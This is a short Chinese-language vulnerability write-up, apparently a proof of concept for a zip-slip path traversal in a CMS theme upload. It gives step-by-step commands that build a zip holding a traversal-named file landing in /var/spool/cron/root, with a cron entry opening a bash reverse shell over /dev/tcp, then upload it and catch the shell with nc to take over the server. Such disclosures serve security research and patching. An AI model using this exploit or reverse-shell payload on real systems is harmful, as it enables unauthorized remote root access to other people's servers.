测试环境

CMS版本：Previous_Releases_4.0.1
JVM名称：OpenJDK 64-Bit Server VM
JAVA版本：1.8.0_362
操作系统名称：Linux
操作系统架构：amd64
数据库版本：8.0.32

漏洞效果

我们先在 Linux 系统创建..\*..\*..\*..\*..\*..\*..\*..\*..\*..\*var\*spool\*cron\*root文件，并写入远连命令。

echo "*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/7777 0>&1" > ..\*..\*..\*..\*..\*..\*..\*..\*..\*..\*var\*spool\*cron\*root
zip -r ./test3.zip ..\*..\*..\*..\*..\*..\*..\*..\*..\*..\*var\*spool\*cron\*root

打包完后，通过风格管理上传该压缩包。

提示主题描述不存在，问题不大，这说明解压完成了。

在后台日志输出也能看到解压完毕。

接着我们到服务机器上看到我们的文件已经写进去了。

通过nc -lvvp 7777成功获得服务器权限。